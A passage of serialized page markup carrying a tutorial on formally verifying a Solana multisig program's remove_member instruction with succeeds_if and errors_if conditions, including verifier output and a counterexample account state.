ctx",{"type":23,"tag":504,"props":27898,"children":27899},{"style":5047},[27900],{"type":29,"value":357},{"type":23,"tag":504,"props":27902,"children":27903},{"style":5058},[27904],{"type":29,"value":16721},{"type":23,"tag":504,"props":27906,"children":27907},{"style":5047},[27908],{"type":29,"value":357},{"type":23,"tag":504,"props":27910,"children":27911},{"style":5058},[27912],{"type":29,"value":25857},{"type":23,"tag":504,"props":27914,"children":27915},{"style":5047},[27916],{"type":29,"value":357},{"type":23,"tag":504,"props":27918,"children":27919},{"style":5058},[27920],{"type":29,"value":23035},{"type":23,"tag":504,"props":27922,"children":27923},{"style":5047},[27924],{"type":29,"value":357},{"type":23,"tag":504,"props":27926,"children":27927},{"style":5139},[27928],{"type":29,"value":11186},{"type":23,"tag":504,"props":27930,"children":27931},{"style":5058},[27932],{"type":29,"value":16089},{"type":23,"tag":504,"props":27934,"children":27935},{"style":5047},[27936],{"type":29,"value":1224},{"type":23,"tag":504,"props":27938,"children":27939},{"style":5083},[27940],{"type":29,"value":6565},{"type":23,"tag":504,"props":27942,"children":27943},{"style":5058},[27944],{"type":29,"value":5333},{"type":23,"tag":504,"props":27946,"children":27947},{"class":5016,"line":5746},[27948,27952,27956,27960,27964,27968,27973],{"type":23,"tag":504,"props":27949,"children":27950},{"style":5067},[27951],{"type":29,"value":17791},{"type":23,"tag":504,"props":27953,"children":27954},{"style":5139},[27955],{"type":29,"value":25560},{"type":23,"tag":504,"props":27957,"children":27958},{"style":5058},[27959],{"type":29,"value":603},{"type":23,"tag":504,"props":27961,"children":27962},{"style":5467},[27963],{"type":29,"value":25569},{"type":23,"tag":504,"props":27965,"children":27966},{"style":5047},[27967],{"type":29,"value":5530},{"type":23,"tag":504,"props":27969,"children":27970},{"style":5467},[27971],{"type":29,"value":27972},"CannotRemoveSoloMember",{"type":23,"tag":504,"props":27974,"children":27975},{"style":5058},[27976],{"type":29,"value":5888},{"type":23,"tag":504,"props":27978,"children":27979},{"class":5016,"line":5813},[27980],{"type":23,"tag":504,"props":27981,"children":27982},{"style":5058},[27983],{"type":29,"value":5403},{"type":23,"tag":504,"props":27985,"children":27986},{"class":5016,"line":5821},[27987,27991,27995,27999,28003,28007,28011,28015,28019,28023,28027,28031],{"type":23,"tag":504,"props":27988,"children":27989},{"style":5041},[27990],{"type":29,"value":22276},{"type":23,"tag":504,"props":27992,"children":27993},{"style":5047},[27994],{"type":29,"value":357},{"type":23,"tag":504,"props":27996,"children":27997},{"style":5058},[27998],{"type":29,"value":16721},{"type":23,"tag":504,"props":28000,"children":28001},{"style":5047},[28002],{"type":29,"value":357},{"type":23,"tag":504,"props":28004,"children":28005},{"style":5058},[28006],{"type":29,"value":25857},{"type":23,"tag":504,"props":28008,"children":28009},{"style":5047},[28010],{"type":29,"value":357},{"type":23,"tag":504,"props":28012,"children":28013},{"style":5139},[28014],{"type":29,"value":27519},{"type":23,"tag":504,"props":28016,"children":28017},{"style":5058},[28018],{"type":29,"value":603},{"type":23,"tag":504,"props":28020,"children":28021},{"style":5041},[28022],{"type":29,"value":27852},{"type":23,"tag":504,"props":28024,"children":28025},{"style":5058},[28026],{"type":29,"value":933},{"type":23,"tag":504,"props":28028,"children":28029},{"style":5047},[28030],{"type":29,"value":5195},{"type":23,"tag":504,"props":28032,"children":28033},{"style":5058},[28034],{"type":29,"value":5061},{"type":23,"tag":504,"props":28036,"children":28037},{"class":5016,"line":5851},[28038],{"type":23,"tag":504,"props":28039,"children":28040},{"emptyLinePlaceholder":15},[28041],{"type":29,"value":5734},{"type":23,"tag":504,"props":28043,"children":28044},{"class":5016,"line":5859},[28045],{"type":23,"tag":504,"props":28046,"children":28047},{"style":5021},[28048],{"type":29,"value":28049},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":23,"tag":504,"props":28051,"children":28052},{"class":5016,"line":5891},[28053,28057,28061,28065,28069,28073,28077,28081,28085,28089,28093,28098,28102,28106,28110,28114,28118,28122,28126,28130,28134,28138],{"type":23,"tag":504,"props":28054,"children":28055},{"style":5067},[28056],{"type":29,"value":14325},{"type":23,"tag":504,"props":28058,"children":28059},{"style":5041},[28060],{"type":29,"value":27896},{"type":23,"tag":504,"props":28062,"children":28063},{"style":5047},[28064],{"type":29,"value":357},{"type":23,"tag":504,"props":28066,"children":28067},{"style":5058},[28068],{"type":29,"value":16721},{"type":23,"tag":504,"props":28070,"children":28071},{"style":5047},[28072],{"type":29,"value":357},{"type":23,"tag":504,"props":28074,"children":28075},{"style":5058},[28076],{"type":29,"value":25857},{"type":23,"tag":504,"props":28078,"children":28079},{"style":5047},[28080],{"type":29,"value":357},{"type":23,"tag":504,"props":28082,"children":28083},{"style":5058},[28084],{"type":29,"value":23035},{"type":23,"tag":504,"props":28086,"children":28087},{"style":5047},[28088],{"type":29,"value":357},{"type":23,"tag":504,"props":28090,"children":28091},{"style":5139},[28092],{"type":29,"value":11186},{"type":23,"tag":504,"props":28094,"children":28095},{"style":5058},[28096],{"type":29,"value":28097},"() \u003C ",{"type":23,"tag":504,"props":28099,"children":28100},{"style":5467},[28101],{"type":29,"value":18649},{"type":23,"tag":504,"props":28103,"children":28104},{"style":5047},[28105],{"type":29,"value":5530},{"type":23,"tag":504,"props":28107,"children":28108},{"style":5139},[28109],{"type":29,"value":21525},{"type":23,"tag":504,"props":28111,"children":28112},{"style":5058},[28113],{"type":29,"value":603},{"type":23,"tag":504,"props":28115,"children":28116},{"style":5041},[28117],{"type":29,"value":22333},{"type":23,"tag":504,"props":28119,"children":28120},{"style":5047},[28121],{"type":29,"value":357},{"type":23,"tag":504,"props":28123,"children":28124},{"style":5058},[28125],{"type":29,"value":16721},{"type":23,"tag":504,"props":28127,"children":28128},{"style":5047},[28129],{"type":29,"value":357},{"type":23,"tag":504,"props":28131,"children":28132},{"style":5058},[28133],{"type":29,"value":25857},{"type":23,"tag":504,"props":28135,"children":28136},{"style":5047},[28137],{"type":29,"value":357},{"type":23,"tag":504,"props":28139,"children":28140},{"style":5058},[28141],{"type":29,"value":28142},"threshold) {\n",{"type":23,"tag":504,"props":28144,"children":28145},{"class":5016,"line":5899},[28146,28150,28155,28159,28163,28167,28171,28175,28179,28183,28187,28191,28195,28199,28203,28207,28211,28216,28220,28224,28228],{"type":23,"tag":504,"props":28147,"children":28148},{"style":5030},[28149],{"type":29,"value":5105},{"type":23,"tag":504,"props":28151,"children":28152},{"style":5041},[28153],{"type":29,"value":28154}," new_threshold",{"type":23,"tag":504,"props":28156,"children":28157},{"style":5047},[28158],{"type":29,"value":6533},{"type":23,"tag":504,"props":28160,"children":28161},{"style":5467},[28162],{"type":29,"value":23082},{"type":23,"tag":504,"props":28164,"children":28165},{"style":5047},[28166],{"type":29,"value":5050},{"type":23,"tag":504,"props":28168,"children":28169},{"style":5041},[28170],{"type":29,"value":27896},{"type":23,"tag":504,"props":28172,"children":28173},{"style":5047},[28174],{"type":29,"value":357},{"type":23,"tag":504,"props":28176,"children":28177},{"style":5058},[28178],{"type":29,"value":16721},{"type":23,"tag":504,"props":28180,"children":28181},{"style":5047},[28182],{"type":29,"value":357},{"type":23,"tag":504,"props":28184,"children":28185},{"style":5058},[28186],{"type":29,"value":25857},{"type":23,"tag":504,"props":28188,"children":28189},{"style":5047},[28190],{"type":29,"value":357},{"type":23,"tag":504,"props":28192,"children":28193},{"style":5058},[28194],{"type":29,"value":23035},{"type":23,"tag":504,"props":28196,"children":28197},{"style":5047},[28198],{"type":29,"value":357},{"type":23,"tag":504,"props":28200,"children":28201},{"style":5139},[28202],{"type":29,"value":11186},{"type":23,"tag":504,"props":28204,"children":28205},{"style":5058},[28206],{"type":29,"value":15925},{"type":23,"tag":504,"props":28208,"children":28209},{"style":5047},[28210],{"type":29,"value":357},{"type":23,"tag":504,"props":28212,"children":28213},{"style":5139},[28214],{"type":29,"value":28215},"try_into",{"type":23,"tag":504,"props":28217,"children":28218},{"style":5058},[28219],{"type":29,"value":15925},{"type":23,"tag":504,"props":28221,"children":28222},{"style":5047},[28223],{"type":29,"value":357},{"type":23,"tag":504,"props":28225,"children":28226},{"style":5139},[28227],{"type":29,"value":5720},{"type":23,"tag":504,"props":28229,"children":28230},{"style":5058},[28231],{"type":29,"value":5725},{"type":23,"tag":504,"props":28233,"children":28234},{"class":5016,"line":5959},[28235,28240,28244,28248,28252,28256,28260,28265,28269,28274,28278,28282],{"type":23,"tag":504,"props":28236,"children":28237},{"style":5041},[28238],{"type":29,"value":28239},"        ctx",{"type":23,"tag":504,"props":28241,"children":28242},{"style":5047},[28243],{"type":29,"value":357},{"type":23,"tag":504,"props":28245,"children":28246},{"style":5058},[28247],{"type":29,"value":16721},{"type":23,"tag":504,"props":28249,"children":28250},{"style":5047},[28251],{"type":29,"value":357},{"type":23,"tag":504,"props":28253,"children":28254},{"style":5058},[28255],{"type":29,"value":25857},{"type":23,"tag":504,"props":28257,"children":28258},{"style":5047},[28259],{"type":29,"value":357},{"type":23,"tag":504,"props":28261,"children":28262},{"style":5139},[28263],{"type":29,"value":28264},"change_threshold",{"type":23,"tag":504,"props":28266,"children":28267},{"style":5058},[28268],{"type":29,"value":603},{"type":23,"tag":504,"props":28270,"children":28271},{"style":5041},[28272],{"type":29,"value":28273},"new_threshold",{"type":23,"tag":504,"props":28275,"children":28276},{"style":5058},[28277],{"type":29,"value":933},{"type":23,"tag":504,"props":28279,"children":28280},{"style":5047},[28281],{"type":29,"value":5195},{"type":23,"tag":504,"props":28283,"children":28284},{"style":5058},[28285],{"type":29,"value":5061},{"type":23,"tag":504,"props":28287,"children":28288},{"class":5016,"line":11093},[28289],{"type":23,"tag":504,"props":28290,"children":28291},{"style":5058},[28292],{"type":29,"value":5403},{"type":23,"tag":504,"props":28294,"children":28295},{"class":5016,"line":11111},[28296,28300,28305,28309,28313,28317,28321,28325,28329,28333],{"type":23,"tag":504,"props":28297,"children":28298},{"style":5030},[28299],{"type":29,"value":5033},{"type":23,"tag":504,"props":28301,"children":28302},{"style":5041},[28303],{"type":29,"value":28304}," new_index",{"type":23,"tag":504,"props":28306,"children":28307},{"style":5047},[28308],{"type":29,"value":5050},{"type":23,"tag":504,"props":28310,"children":28311},{"style":5041},[28312],{"type":29,"value":27896},{"type":23,"tag":504,"props":28314,"children":28315},{"style":5047},[28316],{"type":29,"value":357},{"type":23,"tag":504,"props":28318,"children":28319},{"style":5058},[28320],{"type":29,"value":16721},{"type":23,"tag":504,"props":28322,"children":28323},{"style":5047},[28324],{"type":29,"value":357},{"type":23,"tag":504,"props":28326,"children":28327},{"style":5058},[28328],{"type":29,"value":25857},{"type":23,"tag":504,"props":28330,"children":28331},{"style":5047},[28332],{"type":29,"value":357},{"type":23,"tag":504,"props":28334,"children":28335},{"style":5058},[28336],{"type":29,"value":28337},"transaction_index;\n",{"type":23,"tag":504,"props":28339,"children":28340},{"class":5016,"line":11156},[28341,28345,28349,28353,28357,28361,28365,28370,28374,28379],{"type":23,"tag":504,"props":28342,"children":28343},{"style":5041},[28344],{"type":29,"value":22276},{"type":23,"tag":504,"props":28346,"children":28347},{"style":5047},[28348],{"type":29,"value":357},{"type":23,"tag":504,"props":28350,"children":28351},{"style":5058},[28352],{"type":29,"value":16721},{"type":23,"tag":504,"props":28354,"children":28355},{"style":5047},[28356],{"type":29,"value":357},{"type":23,"tag":504,"props":28358,"children":28359},{"style":5058},[28360],{"type":29,"value":25857},{"type":23,"tag":504,"props":28362,"children":28363},{"style":5047},[28364],{"type":29,"value":357},{"type":23,"tag":504,"props":28366,"children":28367},{"style":5139},[28368],{"type":29,"value":28369},"set_change_index",{"type":23,"tag":504,"props":28371,"children":28372},{"style":5058},[28373],{"type":29,"value":603},{"type":23,"tag":504,"props":28375,"children":28376},{"style":5041},[28377],{"type":29,"value":28378},"new_index",{"type":23,"tag":504,"props":28380,"children":28381},{"style":5058},[28382],{"type":29,"value":5200},{"type":23,"tag":504,"props":28384,"children":28385},{"class":5016,"line":11262},[28386],{"type":23,"tag":504,"props":28387,"children":28388},{"style":5058},[28389],{"type":29,"value":5965},{"type":23,"tag":32,"props":28391,"children":28392},{},[28393,28395,28400],{"type":29,"value":28394},"First let's establish the ",{"type":23,"tag":154,"props":28396,"children":28398},{"className":28397},[],[28399],{"type":29,"value":22207},{"type":29,"value":28401}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":23,"tag":4743,"props":28403,"children":28405},{"code":28404,"language":5008,"meta":7,"className":5009,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[28406],{"type":23,"tag":154,"props":28407,"children":28408},{"__ignoreMap":7},[28409,28416,28463,28470],{"type":23,"tag":504,"props":28410,"children":28411},{"class":5016,"line":5017},[28412],{"type":23,"tag":504,"props":28413,"children":28414},{"style":5058},[28415],{"type":29,"value":26164},{"type":23,"tag":504,"props":28417,"children":28418},{"class":5016,"line":4868},[28419,28423,28427,28431,28435,28439,28443,28447,28451,28455,28459],{"type":23,"tag":504,"props":28420,"children":28421},{"style":5058},[28422],{"type":29,"value":22276},{"type":23,"tag":504,"props":28424,"children":28425},{"style":5047},[28426],{"type":29,"value":357},{"type":23,"tag":504,"props":28428,"children":28429},{"style":5058},[28430],{"type":29,"value":16721},{"type":23,"tag":504,"props":28432,"children":28433},{"style":5047},[28434],{"type":29,"value":357},{"type":23,"tag":504,"props":28436,"children":28437},{"style":5058},[28438],{"type":29,"value":25857},{"type":23,"tag":504,"props":28440,"children":28441},{"style":5047},[28442],{"type":29,"value":357},{"type":23,"tag":504,"props":28444,"children":28445},{"style":5058},[28446],{"type":29,"value":23035},{"type":23,"tag":504,"props":28448,"children":28449},{"style":5047},[28450],{"type":29,"value":357},{"type":23,"tag":504,"props":28452,"children":28453},{"style":5058},[28454],{"type":29,"value":23073},{"type":23,"tag":504,"props":28456,"children":28457},{"style":5047},[28458],{"type":29,"value":12508},{"type":23,"tag":504,"props":28460,"children":28461},{"style":5058},[28462],{"type":29,"value":21494},{"type":23,"tag":504,"props":28464,"children":28465},{"class":5016,"line":4876},[28466],{"type":23,"tag":504,"props":28467,"children":28468},{"style":5058},[28469],{"type":29,"value":22311},{"type":23,"tag":504,"props":28471,"children":28472},{"class":5016,"line":5099},[28473,28477,28481,28485,28489,28493,28497],{"type":23,"tag":504,"props":28474,"children":28475},{"style":5030},[28476],{"type":29,"value":22319},{"type":23,"tag":504,"props":28478,"children":28479},{"style":5139},[28480],{"type":29,"value":27818},{"type":23,"tag":504,"props":28482,"children":28483},{"style":5058},[28484],{"type":29,"value":603},{"type":23,"tag":504,"props":28486,"children":28487},{"style":5047},[28488],{"type":29,"value":853},{"type":23,"tag":504,"props":28490,"children":28491},{"style":5058},[28492],{"type":29,"value":26041},{"type":23,"tag":504,"props":28494,"children":28495},{"style":5047},[28496],{"type":29,"value":853},{"type":23,"tag":504,"props":28498,"children":28499},{"style":5058},[28500],{"type":29,"value":11642},{"type":23,"tag":32,"props":28502,"children":28503},{},[28504,28506,28511],{"type":29,"value":28505},"And for now let's remove the invariant on the ",{"type":23,"tag":154,"props":28507,"children":28509},{"className":28508},[],[28510],{"type":29,"value":24782},{"type":29,"value":28512}," account:",{"type":23,"tag":4743,"props":28514,"children":28516},{"code":28515,"language":5008,"meta":7,"className":5009,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[28517],{"type":23,"tag":154,"props":28518,"children":28519},{"__ignoreMap":7},[28520,28528],{"type":23,"tag":504,"props":28521,"children":28522},{"class":5016,"line":5017},[28523],{"type":23,"tag":504,"props":28524,"children":28525},{"style":5058},[28526],{"type":29,"value":28527},"#[invariant()]\n",{"type":23,"tag":504,"props":28529,"children":28530},{"class":5016,"line":4868},[28531,28535,28539,28543,28547,28551],{"type":23,"tag":504,"props":28532,"children":28533},{"style":5030},[28534],{"type":29,"value":15736},{"type":23,"tag":504,"props":28536,"children":28537},{"style":5030},[28538],{"type":29,"value":23203},{"type":23,"tag":504,"props":28540,"children":28541},{"style":5467},[28542],{"type":29,"value":23208},{"type":23,"tag":504,"props":28544,"children":28545},{"style":5058},[28546],{"type":29,"value":11633},{"type":23,"tag":504,"props":28548,"children":28549},{"style":5047},[28550],{"type":29,"value":853},{"type":23,"tag":504,"props":28552,"children":28553},{"style":5058},[28554],{"type":29,"value":11642},{"type":23,"tag":32,"props":28556,"children":28557},{},[28558],{"type":29,"value":28559},"Let's test this!",{"type":23,"tag":32,"props":28561,"children":28562},{},[28563,28565,28570],{"type":29,"value":28564},"Our ",{"type":23,"tag":154,"props":28566,"children":28568},{"className":28567},[],[28569],{"type":29,"value":22207},{"type":29,"value":28571}," harness produces:",{"type":23,"tag":4743,"props":28573,"children":28575},{"code":28574},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[28576],{"type":23,"tag":154,"props":28577,"children":28578},{"__ignoreMap":7},[28579],{"type":29,"value":28574},{"type":23,"tag":32,"props":28581,"children":28582},{},[28583],{"type":29,"value":28584},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":23,"tag":32,"props":28586,"children":28587},{},[28588,28590,28595],{"type":29,"value":28589},"However, remember that since ",{"type":23,"tag":154,"props":28591,"children":28593},{"className":28592},[],[28594],{"type":29,"value":22207},{"type":29,"value":28596}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":23,"tag":32,"props":28598,"children":28599},{},[28600,28602,28607,28609,28614,28616,28621],{"type":29,"value":28601},"Suppose we want to be sure that this condition is the ",{"type":23,"tag":4321,"props":28603,"children":28604},{},[28605],{"type":29,"value":28606},"only condition",{"type":29,"value":28608}," in which the function will succeed (i.e. ",{"type":23,"tag":4321,"props":28610,"children":28611},{},[28612],{"type":29,"value":28613},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":29,"value":28615},"). We could attempt to verify the other side of this with an ",{"type":23,"tag":154,"props":28617,"children":28619},{"className":28618},[],[28620],{"type":29,"value":22214},{"type":29,"value":28622}," macro such as:",{"type":23,"tag":4743,"props":28624,"children":28626},{"code":28625,"language":5008,"meta":7,"className":5009,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[28627],{"type":23,"tag":154,"props":28628,"children":28629},{"__ignoreMap":7},[28630,28637,28684,28691,28698,28745,28752],{"type":23,"tag":504,"props":28631,"children":28632},{"class":5016,"line":5017},[28633],{"type":23,"tag":504,"props":28634,"children":28635},{"style":5058},[28636],{"type":29,"value":26164},{"type":23,"tag":504,"props":28638,"children":28639},{"class":5016,"line":4868},[28640,28644,28648,28652,28656,28660,28664,28668,28672,28676,28680],{"type":23,"tag":504,"props":28641,"children":28642},{"style":5058},[28643],{"type":29,"value":22276},{"type":23,"tag":504,"props":28645,"children":28646},{"style":5047},[28647],{"type":29,"value":357},{"type":23,"tag":504,"props":28649,"children":28650},{"style":5058},[28651],{"type":29,"value":16721},{"type":23,"tag":504,"props":28653,"children":28654},{"style":5047},[28655],{"type":29,"value":357},{"type":23,"tag":504,"props":28657,"children":28658},{"style":5058},[28659],{"type":29,"value":25857},{"type":23,"tag":504,"props":28661,"children":28662},{"style":5047},[28663],{"type":29,"value":357},{"type":23,"tag":504,"props":28665,"children":28666},{"style":5058},[28667],{"type":29,"value":23035},{"type":23,"tag":504,"props":28669,"children":28670},{"style":5047},[28671],{"type":29,"value":357},{"type":23,"tag":504,"props":28673,"children":28674},{"style":5058},[28675],{"type":29,"value":23073},{"type":23,"tag":504,"props":28677,"children":28678},{"style":5047},[28679],{"type":29,"value":12508},{"type":23,"tag":504,"props":28681,"children":28682},{"style":5058},[28683],{"type":29,"value":21494},{"type":23,"tag":504,"props":28685,"children":28686},{"class":5016,"line":4876},[28687],{"type":23,"tag":504,"props":28688,"children":28689},{"style":5058},[28690],{"type":29,"value":22311},{"type":23,"tag":504,"props":28692,"children":28693},{"class":5016,"line":5099},[28694],{"type":23,"tag":504,"props":28695,"children":28696},{"style":5058},[28697],{"type":29,"value":22268},{"type":23,"tag":504,"props":28699,"children":28700},{"class":5016,"line":5203},[28701,28705,28709,28713,28717,28721,28725,28729,28733,28737,28741],{"type":23,"tag":504,"props":28702,"children":28703},{"style":5058},[28704],{"type":29,"value":22276},{"type":23,"tag":504,"props":28706,"children":28707},{"style":5047},[28708],{"type":29,"value":357},{"type":23,"tag":504,"props":28710,"children":28711},{"style":5058},[28712],{"type":29,"value":16721},{"type":23,"tag":504,"props":28714,"children":28715},{"style":5047},[28716],{"type":29,"value":357},{"type":23,"tag":504,"props":28718,"children":28719},{"style":5058},[28720],{"type":29,"value":25857},{"type":23,"tag":504,"props":28722,"children":28723},{"style":5047},[28724],{"type":29,"value":357},{"type":23,"tag":504,"props":28726,"children":28727},{"style":5058},[28728],{"type":29,"value":23035},{"type":23,"tag":504,"props":28730,"children":28731},{"style":5047},[28732],{"type":29,"value":357},{"type":23,"tag":504,"props":28734,"children":28735},{"style":5058},[28736],{"type":29,"value":23073},{"type":23,"tag":504,"props":28738,"children":28739},{"style":5047},[28740],{"type":29,"value":21466},{"type":23,"tag":504,"props":28742,"children":28743},{"style":5058},[28744],{"type":29,"value":21494},{"type":23,"tag":504,"props":28746,"children":28747},{"class":5016,"line":5308},[28748],{"type":23,"tag":504,"props":28749,"children":28750},{"style":5058},[28751],{"type":29,"value":22311},{"type":23,"tag":504,"props":28753,"children":28754},{"class":5016,"line":5336},[28755,28759,28763,28767,28771,28775,28779],{"type":23,"tag":504,"props":28756,"children":28757},{"style":5030},[28758],{"type":29,"value":22319},{"type":23,"tag":504,"props":28760,"children":28761},{"style":5139},[28762],{"type":29,"value":27818},{"type":23,"tag":504,"props":28764,"children":28765},{"style":5058},[28766],{"type":29,"value":603},{"type":23,"tag":504,"props":28768,"children":28769},{"style":5047},[28770],{"type":29,"value":853},{"type":23,"tag":504,"props":28772,"children":28773},{"style":5058},[28774],{"type":29,"value":26041},{"type":23,"tag":504,"props":28776,"children":28777},{"style":5047},[28778],{"type":29,"value":853},{"type":23,"tag":504,"props":28780,"children":28781},{"style":5058},[28782],{"type":29,"value":11642},{"type":23,"tag":32,"props":28784,"children":28785},{},[28786,28788,28793],{"type":29,"value":28787},"Let's test this, we just need to run the new ",{"type":23,"tag":154,"props":28789,"children":28791},{"className":28790},[],[28792],{"type":29,"value":22214},{"type":29,"value":28794}," harness:",{"type":23,"tag":4743,"props":28796,"children":28798},{"code":28797},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[28799],{"type":23,"tag":154,"props":28800,"children":28801},{"__ignoreMap":7},[28802],{"type":29,"value":28797},{"type":23,"tag":32,"props":28804,"children":28805},{},[28806],{"type":29,"value":28807},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":23,"tag":4743,"props":28809,"children":28811},{"code":28810,"language":5008,"meta":7,"className":5009,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[28812],{"type":23,"tag":154,"props":28813,"children":28814},{"__ignoreMap":7},[28815,28826,28845,28864,28883,28902,28921,28940,28959,28978,28997,29017,29036,29043,29050,29077],{"type":23,"tag":504,"props":28816,"children":28817},{"class":5016,"line":5017},[28818,28822],{"type":23,"tag":504,"props":28819,"children":28820},{"style":5467},[28821],{"type":29,"value":19194},{"type":23,"tag":504,"props":28823,"children":28824},{"style":5058},[28825],{"type":29,"value":5333},{"type":23,"tag":504,"props":28827,"children":28828},{"class":5016,"line":4868},[28829,28833,28837,28841],{"type":23,"tag":504,"props":28830,"children":28831},{"style":5041},[28832],{"type":29,"value":27224},{"type":23,"tag":504,"props":28834,"children":28835},{"style":5047},[28836],{"type":29,"value":6533},{"type":23,"tag":504,"props":28838,"children":28839},{"style":5467},[28840],{"type":29,"value":23208},{"type":23,"tag":504,"props":28842,"children":28843},{"style":5058},[28844],{"type":29,"value":5333},{"type":23,"tag":504,"props":28846,"children":28847},{"class":5016,"line":4876},[28848,28852,28856,28860],{"type":23,"tag":504,"props":28849,"children":28850},{"style":5041},[28851],{"type":29,"value":25878},{"type":23,"tag":504,"props":28853,"children":28854},{"style":5047},[28855],{"type":29,"value":6533},{"type":23,"tag":504,"props":28857,"children":28858},{"style":5083},[28859],{"type":29,"value":5086},{"type":23,"tag":504,"props":28861,"children":28862},{"style":5058},[28863],{"type":29,"value":5557},{"type":23,"tag":504,"props":28865,"children":28866},{"class":5016,"line":5099},[28867,28871,28875,28879],{"type":23,"tag":504,"props":28868,"children":28869},{"style":5041},[28870],{"type":29,"value":27264},{"type":23,"tag":504,"props":28872,"children":28873},{"style":5047},[28874],{"type":29,"value":6533},{"type":23,"tag":504,"props":28876,"children":28877},{"style":5083},[28878],{"type":29,"value":5086},{"type":23,"tag":504,"props":28880,"children":28881},{"style":5058},[28882],{"type":29,"value":5557},{"type":23,"tag":504,"props":28884,"children":28885},{"class":5016,"line":5203},[28886,28890,28894,28898],{"type":23,"tag":504,"props":28887,"children":28888},{"style":5041},[28889],{"type":29,"value":27284},{"type":23,"tag":504,"props":28891,"children":28892},{"style":5047},[28893],{"type":29,"value":6533},{"type":23,"tag":504,"props":28895,"children":28896},{"style":5083},[28897],{"type":29,"value":5086},{"type":23,"tag":504,"props":28899,"children":28900},{"style":5058},[28901],{"type":29,"value":5557},{"type":23,"tag":504,"props":28903,"children":28904},{"class":5016,"line":5308},[28905,28909,28913,28917],{"type":23,"tag":504,"props":28906,"children":28907},{"style":5041},[28908],{"type":29,"value":27304},{"type":23,"tag":504,"props":28910,"children":28911},{"style":5047},[28912],{"type":29,"value":6533},{"type":23,"tag":504,"props":28914,"children":28915},{"style":5083},[28916],{"type":29,"value":5086},{"type":23,"tag":504,"props":28918,"children":28919},{"style":5058},[28920],{"type":29,"value":5557},{"type":23,"tag":504,"props":28922,"children":28923},{"class":5016,"line":5336},[28924,28928,28932,28936],{"type":23,"tag":504,"props":28925,"children":28926},{"style":5041},[28927],{"type":29,"value":27324},{"type":23,"tag":504,"props":28929,"children":28930},{"style":5047},[28931],{"type":29,"value":6533},{"type":23,"tag":504,"props":28933,"children":28934},{"style":5083},[28935],{"type":29,"value":5086},{"type":23,"tag":504,"props":28937,"children":28938},{"style":5058},[28939],{"type":29,"value":5557},{"type":23,"tag":504,"props":28941,"children":28942},{"class":5016,"line":5349},[28943,28947,28951,28955],{"type":23,"tag":504,"props":28944,"children":28945},{"style":5041},[28946],{"type":29,"value":25891},{"type":23,"tag":504,"props":28948,"children":28949},{"style":5047},[28950],{"type":29,"value":6533},{"type":23,"tag":504,"props":28952,"children":28953},{"style":5047},[28954],{"type":29,"value":27352},{"type":23,"tag":504,"props":28956,"children":28957},{"style":5058},[28958],{"type":29,"value":5557},{"type":23,"tag":504,"props":28960,"children":28961},{"class":5016,"line":5367},[28962,28966,28970,28974],{"type":23,"tag":504,"props":28963,"children":28964},{"style":5041},[28965],{"type":29,"value":27364},{"type":23,"tag":504,"props":28967,"children":28968},{"style":5047},[28969],{"type":29,"value":6533},{"type":23,"tag":504,"props":28971,"children":28972},{"style":5030},[28973],{"type":29,"value":11104},{"type":23,"tag":504,"props":28975,"children":28976},{"style":5058},[28977],{"type":29,"value":5557},{"type":23,"tag":504,"props":28979,"children":28980},{"class":5016,"line":5388},[28981,28985,28989,28993],{"type":23,"tag":504,"props":28982,"children":28983},{"style":5041},[28984],{"type":29,"value":27384},{"type":23,"tag":504,"props":28986,"children":28987},{"style":5047},[28988],{"type":29,"value":6533},{"type":23,"tag":504,"props":28990,"children":28991},{"style":5467},[28992],{"type":29,"value":23441},{"type":23,"tag":504,"props":28994,"children":28995},{"style":5058},[28996],{"type":29,"value":5333},{"type":23,"tag":504,"props":28998,"children":28999},{"class":5016,"line":5397},[29000,29005,29009,29013],{"type":23,"tag":504,"props":29001,"children":29002},{"style":5041},[29003],{"type":29,"value":29004},"            data",{"type":23,"tag":504,"props":29006,"children":29007},{"style":5047},[29008],{"type":29,"value":6533},{"type":23,"tag":504,"props":29010,"children":29011},{"style":5047},[29012],{"type":29,"value":27352},{"type":23,"tag":504,"props":29014,"children":29015},{"style":5058},[29016],{"type":29,"value":5557},{"type":23,"tag":504,"props":29018,"children":29019},{"class":5016,"line":5649},[29020,29024,29028,29032],{"type":23,"tag":504,"props":29021,"children":29022},{"style":5041},[29023],{"type":29,"value":27405},{"type":23,"tag":504,"props":29025,"children":29026},{"style":5047},[29027],{"type":29,"value":6533},{"type":23,"tag":504,"props":29029,"children":29030},{"style":5083},[29031],{"type":29,"value":5086},{"type":23,"tag":504,"props":29033,"children":29034},{"style":5058},[29035],{"type":29,"value":5557},{"type":23,"tag":504,"props":29037,"children":29038},{"class":5016,"line":5666},[29039],{"type":23,"tag":504,"props":29040,"children":29041},{"style":5058},[29042],{"type":29,"value":27426},{"type":23,"tag":504,"props":29044,"children":29045},{"class":5016,"line":5683},[29046],{"type":23,"tag":504,"props":29047,"children":29048},{"style":5058},[29049],{"type":29,"value":27434},{"type":23,"tag":504,"props":29051,"children":29052},{"class":5016,"line":5696},[29053,29057,29061,29065,29069,29073],{"type":23,"tag":504,"props":29054,"children":29055},{"style":5041},[29056],{"type":29,"value":27442},{"type":23,"tag":504,"props":29058,"children":29059},{"style":5047},[29060],{"type":29,"value":6533},{"type":23,"tag":504,"props":29062,"children":29063},{"style":5467},[29064],{"type":29,"value":27451},{"type":23,"tag":504,"props":29066,"children":29067},{"style":5058},[29068],{"type":29,"value":11633},{"type":23,"tag":504,"props":29070,"children":29071},{"s